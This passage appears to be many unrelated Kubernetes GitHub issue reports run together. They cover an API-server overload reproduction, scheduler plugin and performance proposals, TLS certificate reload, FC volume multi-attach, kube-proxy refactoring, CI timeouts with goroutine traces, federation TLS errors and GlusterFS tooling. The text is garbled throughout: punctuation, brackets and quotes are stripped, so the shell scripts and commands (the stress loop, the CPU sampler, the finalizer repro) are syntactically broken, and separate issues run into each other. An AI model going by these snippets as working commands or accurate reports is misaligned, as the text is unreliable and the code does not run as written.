0.0625;   | while read size count half_delay\r do\r   echo \ $ date -u +'%y-%m-%d %h:%m:%s.%3n' ,$size,$count,$half_delay\ \r   rm -f cache-$size cache-$  size+1  \r   for i in  seq $count \r   do\r     size $size\r     sleep $half_delay\r     size $  size+1  \r     sleep $half_delay\r   done | kubectl apply -f - >/dev/null\r done\r    \r 3. optional: start the following command to collect cpu usage of the api server to graph it later:\r    \r pid=$ pgrep kube-apiserver ;prev=0;while sleep 0.2;do read f1 f2 f3 f4 f5 f6 f7 f8 f9 f10 f11 f12 f13 curu curs rest < /proc/$pid/stat;cur=$  curu+curs  ;if   prev  ;then echo \ $ date -u +'%y-%m-%d %h:%m:%s.%3n' ,$cur,$prev,20.0\ ;fi;prev=$cur;done > /tmp/cpu-$pid.csv &\r    \r 4. bash stress.sh > 400.csv\r 5. optional:  kill %1  to stop cpu usage gathering\r \r   anything else we need to know?  :\r \r the above may at first seem like a use case which nobody would ever exercise. however the opposite is true: an  endpoints  is created for every  service , so the above scenario will happen for example when a moderately-sized  compared to cluster size   deployment  which exposes a  service  is resized by a few dozen pods.\r \r in fact this is how this problem was initially found. see https://github.com/kubernetes/kubernetes/issues/55779 for the epic story of tracking this down from an apparent tls connection flake in a sig-cli end-to-end test. that is why the toy  endpoints  in the repro resembles a  kube-dns  one.\r \r i suppose the same may also happen in case of a crashlooping  deployment . in that case, because of https://github.com/kubernetes/kubernetes/issues/57405, api server will likely stay down indefinitely.\r \r i think that with a larger  endpoints  object, and/or more of them and/or at a higher request rate, this will also be reproducible on somewhat smaller clusters.\r \r   environment  :\r - kubernetes version  use  kubectl version  : v1.10 alpha\r - cloud provider or hardware configuration: gce\r - os  e.g. from /etc/os-release : container-optimized os 10032.71.0\r - kernel  e.g.  uname -a  : 4.4.86+\r - install tools: kubetest --up\r

what would you like to be added  :\r the  scheduling framework kep  https://github.com/kubernetes/enhancements/blob/master/keps/sig-scheduling/20180409-scheduling-framework.md  is now implementable. we have  already added  https://github.com/kubernetes/kubernetes/pull/75848  plugin interfaces and extension points for \  reserve  https://github.com/kubernetes/enhancements/blob/master/keps/sig-scheduling/20180409-scheduling-framework.md reserve \  and \  prebind  https://github.com/kubernetes/enhancements/blob/master/keps/sig-scheduling/20180409-scheduling-framework.md pre-bind \  plugins.\r \  premit  https://github.com/kubernetes/enhancements/blob/master/keps/sig-scheduling/20180409-scheduling-framework.md permit \  is an important extension point that enables building advanced scheduling features, such as gang scheduling  aka co-scheduling in k8s world . \r as a part of this effort, a new interface for permit plugins should be added. the main function of the plugin should return a \  status  https://github.com/kubernetes/kubernetes/blob/6a8a3682919652ae668c389ed2f60efb770eed03/pkg/scheduler/framework/v1alpha1/interface.go l47 \  and a timeout. we also need to build the record keeping for pods in \ wait\  state and add a clean-up mechanism for pods whose timeout has expired.\r \r  / ref/ kubernetes/enhancements 624

loadbalancer name is now based on service name, this works great but also poses challenges to delete them.  resources like instances will be prefixed with cluster name, so when deleting, we can easily find them through cluster name  assuming it's unique .  we can of course record the loadbalancers created by user, but it adds states somewhere which i think we'd better to avoid.  the proposed change is simple, just pass  clustername  to  getloadbalancername .  also, it seems different cloudprovider has different rules for loadbalancer name, so we can also move  getloadbalancername  to cloudprovider specific package.  is there any reason we don't want to do this?

add tests to make sure the config code lives in  pkg/client/unversioned/clientcmd  generally works for every client. i think the team owns  pkg/client  is responsible for this. this issue was discussed in  33138 before.

failed: https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gci-gce-es-logging/1152/  run so broken it didn't make junit output!

feature request  \r \r it would be convenient to accept  min-nodes  to be equal to  0  for autoscaling on node-pools.\r if you want to run a resource-intensive batch process now and then this will save a lot of costs.\r \r

what keywords did you search in kubernetes issues before filing this one?    if you have found any duplicates, you should instead reply there. : tls certificate reload\r \r ---\r \r   is this a bug report or feature request?    choose one : bug report\r \r   kubernetes version    use  kubectl version  :\r    \r client version: version.info{major:\ 1\ , minor:\ 6\ , gitversion:\ v1.6.1\ , gitcommit:\ b0b7a323cc5a4a2019b2e9520c21c7830b7f708e\ , gittreestate:\ clean\ , builddate:\ 2017-04-25t14:48:12z\ , goversion:\ go1.8.1\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 6\ , gitversion:\ v1.6.1+coreos.0\ , gitcommit:\ 9212f77ed8c169a0afa02e58dce87913c6387b3e\ , gittreestate:\ clean\ , builddate:\ 2017-04-04t00:32:53z\ , goversion:\ go1.7.5\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r \r    \r \r   environment  :\r -   cloud provider or hardware configuration  :\r digital ocean / custom setup\r -   os    e.g. from /etc/os-release :\r coreos version=1353.7.0\r \r -   kernel    e.g.  uname -a  :\r linux coreos01.kub.do.modio.se 4.9.24-coreos  1 smp wed apr 26 21:44:23 utc 2017 x86_64 intel r  xeon r  cpu e5-2650l v3 @ 1.80ghz genuineintel gnu/linux\r \r -   install tools  :\r ansible / coreos getting started guide\r \r -   others  :\r \r \r   what happened  :\r we came up to our scheduled update of tls client certificate,  tls certs were updated properly, but kubelet and kube-proxy keep the old certs in memory.  this causes them to fail when communicating with apiserver.\r \r   what you expected to happen  :\r kubelet & kube proxy should reload the certificates from disk. \r \r \r   how to reproduce it    as minimally and precisely as possible :\r generate a cert with a short lifetime, set up your cluster, wait a while, and then replace the cert with a longer lived one.\r \r \r   anything else we need to know  :\r we're attempting to run with short lived client certificates. this has shown some issues with how kubernetes handles it, and will likely cause others to have hard to debug problems in the future.\r \r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r  \r \r   what happened  :\r rwo fc pv is not enforced. as a result, such pv can be attached to multiple nodes and led to data corruption.\r \r   what you expected to happen  :\r rwo fc pv should be single attached\r \r   how to reproduce it  as minimally and precisely as possible   :\r - create a fc pv\r - create 2 pods that claim this fc pv\r - if pods are running on different nodes, the pv is multi attached\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration  :\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

is this a bug report or feature request?  :\r  \r   what happened  :\r there is still some duplication among kernel space proxiers. specifically, each proxier implements the servicehandler and endpointshandler in the exact same way. \r \r   what you expected to happen  :\r ideally, we could abstract each proxier behind a kernelspaceproxier interface which defines certain methods such as servicechangesmap  , endpointschangesmap  , etc. then, the duplicated event handler code could be shared among proxiers.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r \r   anything else we need to know?  :\r cc @m1093782566 \r \r /area kube-proxy\r \r 

\r   is this a bug report or feature request?  :\r \r  \r \r   what happened  :\r \r service loadbalancer source range don't work in ipvs proxy mode.\r which result in gci-gce-ipvs ci failed.\r http://k8s-testgrid.appspot.com/sig-network-gce gci-gce-ipvs\r \r   how to reproduce it  as minimally and precisely as possible   :\r in gce environment.\r 1. create a service with backend.\r 2. change service type to  loadbalancer \r 3. add service  loadbalancersourceranges \r 4. wait util service external ip is specified.\r 5. access the service from pod inside  loadbalancersourceranges  and pod out of the   loadbalancersourceranges .\r \r \r   environment  :\r - kubernetes version  use  kubectl version  : master\r - cloud provider or hardware configuration: gce\r - os  e.g. from /etc/os-release : ubuntu\r - kernel  e.g.  uname -a  :\r - install tools: cluster/kube-up.sh\r - others:\r

https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gci-gce-scalability-stable2/414 has failed with \r    \r kubetest --timeout triggered\r    \r \r the last message before sigabrt is:\r    \r i0725 03:33:19.146  step: gathering log sizes data\r w0725 05:01:09.225  2018/07/25 05:01:09 process.go:199: abort after 2h0m0s timeout during ./hack/ginkgo-e2e.sh --ginkgo.focus=\\ feature:performance\\  --gather-resource-usage=true --gather-metrics-at-teardown=true --gather-logs-sizes=true --minstartuppods=8 --logexporter-gcs-path=gs://kubernetes-jenkins/logs/ci-kubernetes-e2e-gci-gce-scalability-stable2/414/artifacts --report-dir=/workspace/_artifacts --disable-log-dump=true --cluster-ip-range=10.64.0.0/14. will terminate in another 15m\r    \r \r according to stacktrace, the framework is waiting for all goroutines to gather log sizes:\r    \r i0725 05:01:09.339  goroutine 100  semacquire, 87 minutes :\r i0725 05:01:09.339  sync.runtime_semacquire 0xc42186d964 \r i0725 05:01:09.340      /usr/local/go/src/runtime/sema.go:56 +0x39\r i0725 05:01:09.340  sync.  waitgroup .wait 0xc42186d958 \r i0725 05:01:09.340      /usr/local/go/src/sync/waitgroup.go:131 +0x72\r i0725 05:01:09.340  k8s.io/kubernetes/test/e2e/framework.  framework .aftereach 0xc42186d8c0 \r i0725 05:01:09.340      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/framework/framework.go:333 +0x9e1\r i0725 05:01:09.340  k8s.io/kubernetes/test/e2e/framework.  framework .aftereach-fm  \r i0725 05:01:09.340      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/framework/framework.go:135 +0x2a\r  ... \r i0725 05:01:16.069  goroutine 17205  semacquire, 87 minutes :\r i0725 05:01:16.069  sync.runtime_semacquire 0xc42708ffd4 \r i0725 05:01:16.069      /usr/local/go/src/runtime/sema.go:56 +0x39\r i0725 05:01:16.069  sync.  waitgroup .wait 0xc42708ffc8 \r i0725 05:01:16.069      /usr/local/go/src/sync/waitgroup.go:131 +0x72\r i0725 05:01:16.069  k8s.io/kubernetes/test/e2e/framework.  logssizeverifier .run 0xc42708ff80 \r i0725 05:01:16.070      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/framework/log_size_monitoring.go:217 +0x201\r i0725 05:01:16.070  k8s.io/kubernetes/test/e2e/framework.  framework .beforeeach.func1 0xc42186d8c0 \r i0725 05:01:16.070      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/framework/framework.go:225 +0x32\r i0725 05:01:16.070  created by k8s.io/kubernetes/test/e2e/framework.  framework .beforeeach\r i0725 05:01:16.070      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/framework/framework.go:224 +0x696\r    \r \r iiuc, a single goroutine is stuck on creating a ssh session:\r    \r i0725 05:01:17.235  goroutine 17383  chan receive, 90 minutes :\r i0725 05:01:17.235  k8s.io/kubernetes/vendor/golang.org/x/crypto/ssh.  mux .openchannel 0xc42d56de30, 0x3dbd91d, 0x7, 0x0, 0x0, 0x0, 0x5fab0c0, 0xc42b8eccf0, 0xc42910baa0 \r i0725 05:01:17.235      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/golang.org/x/crypto/ssh/mux.go:322 +0x1e6\r i0725 05:01:17.235  k8s.io/kubernetes/vendor/golang.org/x/crypto/ssh.  mux .openchannel 0xc42d56de30, 0x3dbd91d, 0x7, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, ... \r i0725 05:01:17.235      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/golang.org/x/crypto/ssh/mux.go:298 +0x64\r i0725 05:01:17.236  k8s.io/kubernetes/vendor/golang.org/x/crypto/ssh.  client .newsession 0xc4234e0940, 0x3db79b0, 0x3, 0xc42778d140 \r i0725 05:01:17.236      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/golang.org/x/crypto/ssh/client.go:129 +0x67\r i0725 05:01:17.236  k8s.io/kubernetes/pkg/ssh.runsshcommand 0x5f6b6a0, 0x5f49de0, 0xc42b160480, 0x56, 0xc42001e025, 0x4, 0xc42778d140, 0x10, 0x5f7f5a0, 0xc423ebee20, ... \r i0725 05:01:17.236      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/ssh/ssh.go:229 +0x4bf\r i0725 05:01:17.236  k8s.io/kubernetes/pkg/ssh.runsshcommand 0xc42b160480, 0x56, 0xc42001e025, 0x4, 0xc42778d140, 0x10, 0x5f7f5a0, 0xc423ebee20, 0xc42b160480, 0x7fbe9870ec50, ... \r i0725 05:01:17.236      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/ssh/ssh.go:202 +0xb8\r i0725 05:01:17.236  k8s.io/kubernetes/test/e2e/framework.ssh 0xc42b160480, 0x56, 0xc42778d140, 0x10, 0x7ffeadc2ec69, 0x3, 0x0, 0x0, 0x0, 0x0, ... \r i0725 05:01:17.236      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/framework/util.go:3246 +0x316\r i0725 05:01:17.236  k8s.io/kubernetes/test/e2e/framework.  logsizegatherer .work 0xc4294cf500, 0x1 \r i0725 05:01:17.237      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/framework/log_size_monitoring.go:245 +0x2d8\r i0725 05:01:17.237  k8s.io/kubernetes/test/e2e/framework.  logsizegatherer .run 0xc4294cf500 \r i0725 05:01:17.237      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/framework/log_size_monitoring.go:221 +0x2b\r i0725 05:01:17.237  created by k8s.io/kubernetes/test/e2e/framework.  logssizeverifier .run\r i0725 05:01:17.237      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/framework/log_size_monitoring.go:214 +0x1b2\r    \r \r  /cc @shyamjvs

what happened  :\r 1. create a custom resource defintion\r 2. create a namespace\r 3. create a custom resource in the namespace with a finalizer attached\r 4. delete the namespace\r 5. the custom resource in the namespace will get its deletiontimestamp field updated about every 8 seconds.\r \r   what you expected to happen  :\r \r the resource would have the deletiontimestamp set once then not be updated again.  this becomes a hassle if a controller needs to perform an operation that takes longer than the update period as it will need to perform a read-modify-write with retry loop when removing the finalizer.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r    bash\r  !/bin/bash\r \r set -euo pipefail\r \r echo \ +++ creating my-namespace, custom resource definition 'test', and custom\r resource 'my-test in my-namespace.\ \r kubectl create ns my-namespace\r kubectl apply -f - <<eof\r apiversion: apiextensions.k8s.io/v1beta1\r kind: customresourcedefinition\r metadata:\r   name: tests.test.k8s.io\r spec:\r   group: test.k8s.io\r   version: v1\r   scope: namespaced\r   names:\r     plural: tests\r     singular: test\r     kind: test\r eof\r kubectl apply -f - <<eof\r apiversion: test.k8s.io/v1\r kind: test\r metadata:\r   name: my-test\r   namespace: my-namespace\r   finalizers:\r   - foo\r eof\r \r echo \ +++ setting up watch on my-test, my-namespace\ \r \r pids=  \r kubectl get -w ns my-namespace -oyaml &\r pids+= $! \r kubectl get -w -n my-namespace test my-test -oyaml &\r pids+= $! \r cleanup   {\r   echo \ +++ attempting to finalize my-test\ \r   kubectl apply -f - <<eof\r apiversion: test.k8s.io/v1\r kind: test\r metadata:\r   name: my-test\r   namespace: my-namespace\r eof\r \r   echo \ +++ killing watches\ \r   kill \ ${pids @ }\ \r }\r trap cleanup sigint sigterm exit\r \r \r echo \ +++ deleting my-namespace, my-test will continue to have deletiontimestamp\r updated about every 8 seconds.\ \r kubectl delete ns my-namespace\r \r wait \ ${pids @ }\ \r    \r \r   environment  :\r - kubernetes version  use  kubectl version  :\r    console\r $ kubectl version\r client version: version.info{major:\ 1\ , minor:\ 10\ , gitversion:\ v1.10.7\ , gitcommit:\ 0c38c362511b20a098d7cd855f1314dad92c2780\ , gittreestate:\ clean\ , builddate:\ 2018-08-20t10:09:03z\ , goversion:\ go1.9.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 11+\ , gitversion:\ v1.11.6-gke.2\ , gitcommit:\ 04ad69a117f331df6272a343b5d8f9e2aee5ab0c\ , gittreestate:\ clean\ , builddate:\ 2019-01-04t16:19:46z\ , goversion:\ go1.10.3b4\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r \r - cloud provider or hardware configuration:\r gke 1.11\r

hi,  i am using kubernetes 1.1.3 with fluentd + elasticsearch enabled. i am also using liveness probes on some of our containers to make sure they are health. i noticed that when i report to the stdout from the probe the output does not reach elasticsearch as other containers logs do. is there a way to ship those logs?

after recent changes in scheduler done mainly by @hongchaodeng scheduling latency is much better, but we are still not where we would like to be.  currently the problem is: selectorspread::calculatespread https://github.com/kubernetes/kubernetes/blob/master/plugin/pkg/scheduler/algorithm/priorities/selector_spreading.go l81  what is happening: 1. we first iterate over all services, replication controllers and replica sets in the system to check if they are matching labels of the pod we are trying to schedule. 2. then we list all pods in the namespace  which can potentially be all the pods in the system  3. then for each service, rc and rs selected in first point 1 we iterate over all pods from point 2 and create a mapping from node to number of pods  so basically scheduling of a single pod is: o  pods x  matching  rs, rc, services    @davidopp @gmarek @hongchaodeng @xiang90 @kubernetes/sig-scalability

easyjson  https://github.com/mailru/easyjson  claims to be 2-3x faster than ugorji for json marshalling  i don't see any benchmarks for unmarshaling . if the claims hold, it may be worth investigating using it in k8s.   found on reddit: https://www.reddit.com/r/golang/comments/4bh0uk/easyjson_a_json_library_in_go_which_is_much/   /cc @wojtek-t @lavalamp

rfc: adding test cases to  e2e/persistent_volumes.go  https://github.com/kubernetes/kubernetes/blob/master/test/e2e/persistent_volumes.go  and  integration/persistent_volumes_test.go  https://github.com/kubernetes/kubernetes/blob/master/test/integration/persistent_volumes_test.go     existing test cases      e2e/persistent_volumes.go  https://github.com/kubernetes/kubernetes/blob/master/test/e2e/persistent_volumes.go   this file creates an nfs pv with recycle policy and an pvc to claim the pv.  after the pvc is bound, it is deleted and pv is recycled.      integration/persistent_volumes_test.go  https://github.com/kubernetes/kubernetes/blob/master/test/integration/persistent_volumes_test.go   this file creates a fake pv with recycle policy, creates a pvc that binds to fake pv, deletes the pvc and triggers pv recycler, watches for the pv to be released then available. in the second test, the pv is set delete policy and binds to a pvc. after pvc is deleted, watches the pv to be deleted too. in the third test, 100 pvcs are created, manually puts one of the pvc ref to a pv, watches pv is bound and verify pv is bound to the pvc.    existing red hat tests proposed for transfer to kubernetes e2e test environment  | test case | pr | status | | --- | --- | --- | | 1 |  |  | | 2 |  |  | | 3 |  |  | | 4 |  |  |     1. create pod that uses multiple pvcs. verify all pvcs are successfully bound and mounted. - setup.    - in the nfs server pod, creates 3 exports     - create 3 pvs, with sizes 1gb, 2gb, and 3gb, these pvs map to the 3 nfs exports   - create 3 pvcs, with claim sizes 1gb, 2gb, and 3gb.    - create a client pod that uses the 3 pvcs - expected result. the client pod should mount all nfs pvs, each pvcs are bound to the pvs with the matching size.     2. create one pv and multiple pvcs. verify exactly one pvc bound while other pvcs are pending. - setup   - create 1 pvs with sizes 1gb   - create 3 pvcs, with claim sizes 1gb, 2gb, and 3gb.  - expected result. 1gb pvc should be bound to the pv, 2gb and 3gb pvcs are pending.     3. delete pvc and make sure pv changes to proper state given one of recycle, delete, and retain policies defined in the pv.      create pv with delete policy - setup   - create 1 pvs with sizes 1gb and delete reclaim policy    - create 1 pvcs with claim sizes 1gb   - delete the pvc - expected result. after pvc is deleted, pv is also deleted      4. create pv with retain policy - setup   - create 1 pvs with sizes 1gb and delete reclaim policy    - create a file on the pv   - create 1 pvcs with claim sizes 1gb   - delete the pvc - expected result. after pvc is deleted, pv still exists and the file on the pv also exists

currently, kubelet gets container stats/metrics through cadvisor and expose them through the /stats endpoint. this forces container runtimes to integrate with cadvisor first, before they can properly integrate with kubelet.  now that we are defining the new container runtime interface for kubelet   22964 , we should define container metrics and associated methods in the new interfaces so that runtimes can integrate directly with kubelet. this will greatly reduce the integration pain.  before doing that, we should audit existing cadvisor usage in kubelet and break down the cadvisor interface for different purposes.   /cc @timstclair @vishh @mtaufen

happens consistently on one of kubernetes 1.2.4 nodes.      i0715 13:23:05.094212 3451 handler.go:239  http internalservererror: internal error: unable to find data for container /a8ee18 ... 50b318 i0715 13:23:05.094339 3451 server.go:1096  get /stats/summary/:  6.708488ms  500 goroutine 634432  running : k8s.io/kubernetes/pkg/httplog.  resplogger .recordstatus 0xc208939b20, 0x1f4   /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/httplog/log.go:214 +0xa6 k8s.io/kubernetes/pkg/httplog.  resplogger .writeheader 0xc208939b20, 0x1f4   /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/httplog/log.go:193 +0x32 github.com/emicklei/go-restful.  response .writeheader 0xc20915cae0, 0x1f4   /go/src/k8s.io/kubernetes/godeps/_workspace/src/github.com/emicklei/go-restful/response.go:191 +0x48 github.com/emicklei/go-restful.  response .writeerrorstring 0xc20915cae0, 0x1f4, 0xc208f68100, 0x73, 0x0, 0x0   /go/src/k8s.io/kubernetes/godeps/_workspace/src/github.com/emicklei/go-restful/response.go:180 +0x128 k8s.io/kubernetes/pkg/kubelet/server/stats.handleerror 0xc20915cae0, 0x7efee4a37040, 0xc2087eea40   /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/kubelet/server/stats/handler.go:240 +0x29a k8s.io/kubernetes/pkg/kubelet/server/stats.  handler .handlesummary 0xc2082b12a0, 0xc2087df260, 0xc20915cae0   /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/kubelet/server/stats/handler.go:153 +0x78 k8s.io/kubernetes/pkg/kubelet/server/stats. handler. k8s.io/kubernetes/pkg/kubelet/server/stats.handlesummary ·fm 0xc2087df260, 0xc20915cae0   /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/kubelet/server/stats/handler.go:70 +0x3b github.com/emicklei/go-restful.  container .dispatch 0xc2082865a0, 0x7efee487d3a8, 0xc208939b20, 0xc208cc60d0   /go/src/k8s.io/kubernetes/godeps/_workspace/src/github.com/emicklei/go-restful/container.go:249 +0xf5e

kubernetes version    use  kubectl version  :\r client version: version.info{major:\ 1\ , minor:\ 6+\ , gitversion:\ v1.6.0-alpha.1.778+7585c46bc18913-dirty\ , gitcommit:\ 7585c46bc18913232a72d83e2f5a02a5a1f65c1b\ , gittreestate:\ dirty\ , builddate:\ 2017-02-13t18:47:18z\ , goversion:\ go1.7\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ \ , minor:\ \ , gitversion:\ v0.0.0-master+$format:%h$\ , gitcommit:\ $format:%h$\ , gittreestate:\ not a git tree\ , builddate:\ 1970-01-01t00:00:00z\ , goversion:\ go1.7.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r \r using  kubectl  against an api server that does not have at least a  single resource in this list defined  \r https://github.com/kubernetes/kubernetes/blob/master/pkg/kubectl/cmd/util/shortcut_restmapper.go l105-l113  causes  kubectl get all  to fail with:\r \r    \r the server doesn't have a resource type \ pods\ \r    \r \r instead of defaulting to the hardcoded list of resources, we could instead attempt to use the discovered resources from the server  if any were found . \r \r   how to reproduce it    as minimally and precisely as possible :\r  kubectl get all --server=<address of service catalog api server> \r \r cc @pmorie

kubernetes version   :\r client version: version.info{major:\ 1\ , minor:\ 5\ , gitversion:\ v1.5.2\ , gitcommit:\ 08e099554f3c31f6e6f07b448ab3ed78d0520507\ , gittreestate:\ clean\ , builddate:\ 2017-01-12t04:57:25z\ , goversion:\ go1.7.4\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 5\ , gitversion:\ v1.5.2\ , gitcommit:\ 08e099554f3c31f6e6f07b448ab3ed78d0520507\ , gittreestate:\ clean\ , builddate:\ 2017-01-12t04:52:34z\ , goversion:\ go1.7.4\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r \r \r   environment  :\r -   cloud provider or hardware configuration  : aws\r -   os    e.g. from /etc/os-release : ubuntu\r \r    \r root@ip-172-31-26-62:/home/ubuntu  kops get clusters\r name                    cloud   zones\r k8east.spopt.co.uk      aws     us-east-1a\r k8s.test                aws     eu-west-1a,eu-west-1b,eu-west-1c\r \r root@ip-172-31-26-62:/home/ubuntu  kubectl get clusters\r name      status    age\r k8s       unknown   32m\r k8stest   unknown   1h\r    \r \r    \r cat cluster.yaml >>\r apiversion: federation/v1beta1\r kind: cluster\r metadata:\r   name: k8stest\r spec:\r   serveraddressbyclientcidrs:\r     - clientcidr: \ 172.31.0.0/16\ \r       serveraddress: \ https://api.k8s.test\ \r   secretref:\r     name: k8s\r    \r \r i created secret k8s using below command :\r    \r  kubectl config use-context k8s.test\r  kubectl --context=k8s.test config view --flatten --minify > /root/.kube/k8s.test/kubeconfig\r  kubectl --context=\ k8s.test\    --namespace=federation-system   create secret generic k8s   --from-file=/root/.kube/k8s.test/kubeconfig\r    \r   \r logs from apiserver : fedcluster-apiserver-3532249059-cmp48\r \r    \r 2017-02-28t16:19:36.163944507z i0228 16:19:36.163851       1 logs.go:41  http: tls handshake error from 10.123.45.1:24237: eof\r 2017-02-28t16:19:46.164331830z i0228 16:19:46.164239       1 logs.go:41  http: tls handshake error from 10.123.45.1:24241: eof\r 2017-02-28t16:19:56.164934170z i0228 16:19:56.164819       1 logs.go:41  http: tls handshake error from 10.123.45.1:24253: eof\r 2017-02-28t16:20:06.164256376z i0228 16:20:06.164132       1 logs.go:41  http: tls handshake error from 10.123.45.1:24265: eof\r 2017-02-28t16:20:11.064377515z i0228 16:20:11.064303       1 logs.go:41  http: tls handshake error from 10.123.45.1:24269: remote error: tls: unknown certificate authority\r    \r  \r logs from control manager fedcluster-controller-manager-3452268026-ulyz6:\r    \r 2017-02-28t16:19:44.897940307z e0228 16:19:44.897889       1 reflector.go:199  k8s.io/kubernetes/federation/pkg/federation-controller/service/servicecontroller.go:266: failed to list  v1.service: get https://fedcluster-apiserver/api/v1/services?resourceversion=0: dial tcp 100.71.86.69:443: i/o timeout\r 2017-02-28t16:19:57.116456809z e0228 16:19:57.116345       1 clustercontroller.go:117  error monitoring cluster status: get https://fedcluster-apiserver/apis/federation/v1beta1/clusters: dial tcp 100.71.86.69:443: i/o timeout\r 2017-02-28t16:20:15.521432571z e0228 16:20:15.521335       1 reflector.go:199  k8s.io/kubernetes/federation/pkg/federation-controller/util/federated_informer.go:294: failed to list  v1beta1.cluster: get https://fedcluster-apiserver/apis/federation/v1beta1/clusters?resourceversion=0: dial tcp 100.71.86.69:443: i/o timeout\r 2017-02-28t16:20:15.524803604z e0228 16:20:15.524762       1 reflector.go:199  k8s.io/kubernetes/federation/pkg/federation-controller/daemonset/daemonset_controller.go:260: failed to list  v1beta1.daemonset: get https://fedcluster-apiserver/apis/extensions/v1beta1/daemonsets?resourceversion=0: dial tcp 100.71.86.69:443: i/o timeout\r

i recently tried mounting a glusterfs volume  run outside kubernetes  within my k8s cluster, but mounting failed because of \ server is operating at an op-version which is not supported\  errors. after much investigation, it appears that the reason is that the reason is due to old glusterfs tools in the hyperkube image.\r \r   kubernetes version    use  kubectl version  :\r server version: version.info{major:\ 1\ , minor:\ 5\ , gitversion:\ v1.5.4+coreos.0\ , gitcommit:\ 97c11b097b1a2b194f1eddca8ce5468fcc83331c\ , gittreestate:\ clean\ , builddate:\ 2017-03-08t23:54:21z\ , goversion:\ go1.7.4\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r \r   environment  :\r -   cloud provider or hardware configuration  : self-hosted \ bare metal\  vms\r -   os    e.g. from /etc/os-release : coreos 1298.5.0\r -   kernel    e.g.  uname -a  : 4.9.9-coreos-r1\r -   install tools  : coreos, matchbox, bootkube\r \r   anything else we need to know  :\r \r the underlying issue seems to be that hyperkube is built using a debian jessie  stable/8.7  image. debian only has glusterfs 3.5.2 in stable. glusterfs 3.8.8 is available in stretch  testing  as well as  jessie-backports  so it should be reasonably straightforward to pluck more recent versions of those packages for hyperkube.\r \r the errors produced go into  /var/lib/kubelet/plugins/kubernetes.io/glusterfs/glusterfsvol/glusterfs-glusterfs.log  and look like:\r    \r  2017-03-10 09:43:33.094004  e  glusterfsd-mgmt.c:1297:mgmt_getspec_cbk  0-glusterfs: failed to get the 'volume file' from server\r  2017-03-10 09:43:33.094087  e  glusterfsd-mgmt.c:1388:mgmt_getspec_cbk  0-mgmt: server is operating at an op-version which is not supported\r  2017-03-10 09:43:33.126728  e  glusterfsd-mgmt.c:1297:mgmt_getspec_cbk  0-glusterfs: failed to get the 'volume file' from server\r  2017-03-10 09:43:33.126783  e  glusterfsd-mgmt.c:1388:mgmt_getspec_cbk  0-mgmt: server is operating at an op-version which is not supported\r    \r \r please consider upgrading these tools for interoperability with newer gluster volumes.\r \r i originally reported this as coreos/coreos-kubernetes 849.

imo it feels like a bad practice to have mutating resource handlers. the deletepod handler is used for queueing a recreate deployment once it has no pods running. it should merely look at the replicasets that have owner refs as opposed to using dc.getreplicasetsfordeployment. the orphaning/adoption dance is already happening inside the reconcilation loop.\r \r @kubernetes/sig-apps-misc

what happened  :\r    console \r $ kubectl apply -f ds.yaml --record\r daemonsets \ foo\  created\r $ kubectl apply -f ds-2.yaml --record \r daemonsets \ foo\  configured\r $ kubectl rollout history ds foo\r daemonsets \ foo\ \r revision        change-cause\r 1               kubectl apply --filename=ds.yaml --record=true\r 2               kubectl apply --filename=ds.yaml --record=true\r    \r \r   what you expected to happen  :\r ds history revision 2 should have change cause from the second command \ kubectl apply -f ds-2.yaml --record\ , not the first \r \r /assign @janetkuo \r

